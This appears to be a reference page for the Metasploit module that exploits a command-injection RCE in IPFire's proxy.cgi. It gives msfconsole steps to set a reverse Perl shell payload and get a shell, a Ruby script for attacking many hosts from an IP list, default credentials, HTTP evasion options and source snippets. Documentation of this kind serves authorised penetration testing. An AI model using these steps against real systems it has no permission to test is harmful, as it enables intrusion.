IPFire proxy.cgi RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/ipfire_proxy_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: IPFire proxy.cgi RCE
Module: exploit/linux/http/ipfire_proxy_exec
Source code: modules/exploits/linux/http/ipfire_proxy_exec.rb
Disclosure date: 2016-05-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 444, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
IPFire, a free linux based open source firewall distribution, version < 2.19 Update Core 101 contains a remote command execution vulnerability in the proxy.cgi page.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using ipfire_proxy_exec against a single host
Normally, you can use exploit/linux/http/ipfire_proxy_exec this way:
msf > use exploit/linux/http/ipfire_proxy_exec
msf exploit(ipfire_proxy_exec) > show targets
... a list of targets ...
msf exploit(ipfire_proxy_exec) > set TARGET target-id
msf exploit(ipfire_proxy_exec) > show options
... show and set options ...
msf exploit(ipfire_proxy_exec) > exploit
Using ipfire_proxy_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ipfire_proxy_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/ipfire_proxy_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Official Source: ipfire Archived Copy: github
Verification Steps
- Install the firewall
- Start msfconsole
- Do:
use exploit/linux/http/ipfire_proxy_exec - Do:
set password adminor whatever it was set to at install - Do:
set rhost 10.10.10.10 - Do:
set payload cmd/unix/reverse_perl - Do:
set lhost 192.168.2.229 - Do:
exploit - You should get a shell.
Options
PASSWORD
Password is set at install. May be blank, 'admin', or 'ipfire'.
Scenarios
msf > use exploit/linux/http/ipfire_proxy_exec
msf exploit(ipfire_proxy_rce) > set password admin
password => admin
msf exploit(ipfire_proxy_rce) > set rhost 192.168.2.201
rhost => 192.168.2.201
msf exploit(ipfire_proxy_rce) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(ipfire_proxy_rce) > set verbose true
verbose => true
msf exploit(ipfire_proxy_rce) > set lhost 192.168.2.229
lhost => 192.168.2.229
msf exploit(ipfire_proxy_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.229:4444
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.201:49997) at 2016-05-30 10:09:39 -0400
id
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
whoami
nobody
Go back to menu.
Msfconsole Usage
Here is how the linux/http/ipfire_proxy_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/ipfire_proxy_exec
msf6 exploit(linux/http/ipfire_proxy_exec) > show info
Name: IPFire proxy.cgi RCE
Module: exploit/linux/http/ipfire_proxy_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-05-04
Provided by:
h00die <[email protected]>
Yann CAM
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Payload information:
Description:
IPFire, a free linux based open source firewall distribution,
version < 2.19 Update Core 101 contains a remote command execution
vulnerability in the proxy.cgi page.
References:
https://www.exploit-db.com/exploits/39765
www.ipfire.org/news/ipfire-2-19-core-update-101-released
Module Options
This is a complete list of options available in the linux/http/ipfire_proxy_exec exploit:
msf6 exploit(linux/http/ipfire_proxy_exec) > show options
Module options (exploit/linux/http/ipfire_proxy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 444 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes User to login with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the linux/http/ipfire_proxy_exec exploit:
msf6 exploit(linux/http/ipfire_proxy_exec) > show advanced
Module advanced options (exploit/linux/http/ipfire_proxy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/ipfire_proxy_exec module can exploit:
msf6 exploit(linux/http/ipfire_proxy_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/ipfire_proxy_exec exploit:
msf6 exploit(linux/http/ipfire_proxy_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
3 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
4 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/ipfire_proxy_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/ipfire_proxy_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <PEER> - Could not connect to web service - no response
- <PEER> - Invalid credentials (response code: <RES.CODE>)
- <PEER> - Could not connect to the web service
- <PEER> - Could not connect to web service - no response
- <PEER> - Invalid credentials (response code: <RES.CODE>)
- <PEER> - Could not connect to the web service
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
62: begin
63: res = send_request_cgi(
64: 'uri' => '/cgi-bin/pakfire.cgi',
65: 'method' => 'GET'
66: )
67: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
68: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
69: /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
70:
71: if version && update && version == "2.19" && update.to_i < 101
72: Exploit::CheckCode::Appears
<PEER> - Invalid credentials (response code: <RES.CODE>)
Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:
63: res = send_request_cgi(
64: 'uri' => '/cgi-bin/pakfire.cgi',
65: 'method' => 'GET'
66: )
67: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
68: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
69: /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
70:
71: if version && update && version == "2.19" && update.to_i < 101
72: Exploit::CheckCode::Appears
73: else
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
72: Exploit::CheckCode::Appears
73: else
74: Exploit::CheckCode::Safe
75: end
76: rescue ::Rex::ConnectionError
77: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
78: end
79: end
80:
81: def exploit
82: begin
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
104: 'data' => post_data
105: )
106:
107: # success means we hang our session, and wont get back a response
108: if res
109: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
110: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
111: end
112:
113: rescue ::Rex::ConnectionError
114: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
<PEER> - Invalid credentials (response code: <RES.CODE>)
Here is a relevant code snippet related to the "<PEER> - Invalid credentials (response code: <RES.CODE>)" error message:
105: )
106:
107: # success means we hang our session, and wont get back a response
108: if res
109: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
110: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
111: end
112:
113: rescue ::Rex::ConnectionError
114: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
115: end
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
107: # success means we hang our session, and wont get back a response
108: if res
109: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
110: fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
111: end
112:
113: rescue ::Rex::ConnectionError
114: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
115: end
116: end
117: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6971 Merged Pull Request: added Rank to ipfire modules
- #6925 Merged Pull Request: ipfire proxy exec
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/ipfire_bashbug_exec
- exploit/linux/http/ipfire_oinkcode_exec
- exploit/linux/http/ipfire_pakfire_exec
- exploit/linux/proxy/squid_ntlm_authenticate
- exploit/windows/proxy/bluecoat_winproxy_host
- exploit/windows/proxy/ccproxy_telnet_ping
- exploit/windows/proxy/proxypro_http_get
- exploit/windows/proxy/qbik_wingate_wwwproxy
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/multi/browser/firefox_proxy_prototype
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/unix/webapp/google_proxystylesheet_exec
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/psoproxy91_overflow
- exploit/windows/local/ms15_004_tswbproxy
- exploit/windows/local/ms_ndproxy
- exploit/windows/misc/asus_dpcproxy_overflow
Authors
- h00die <[email protected]>
- Yann CAM
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
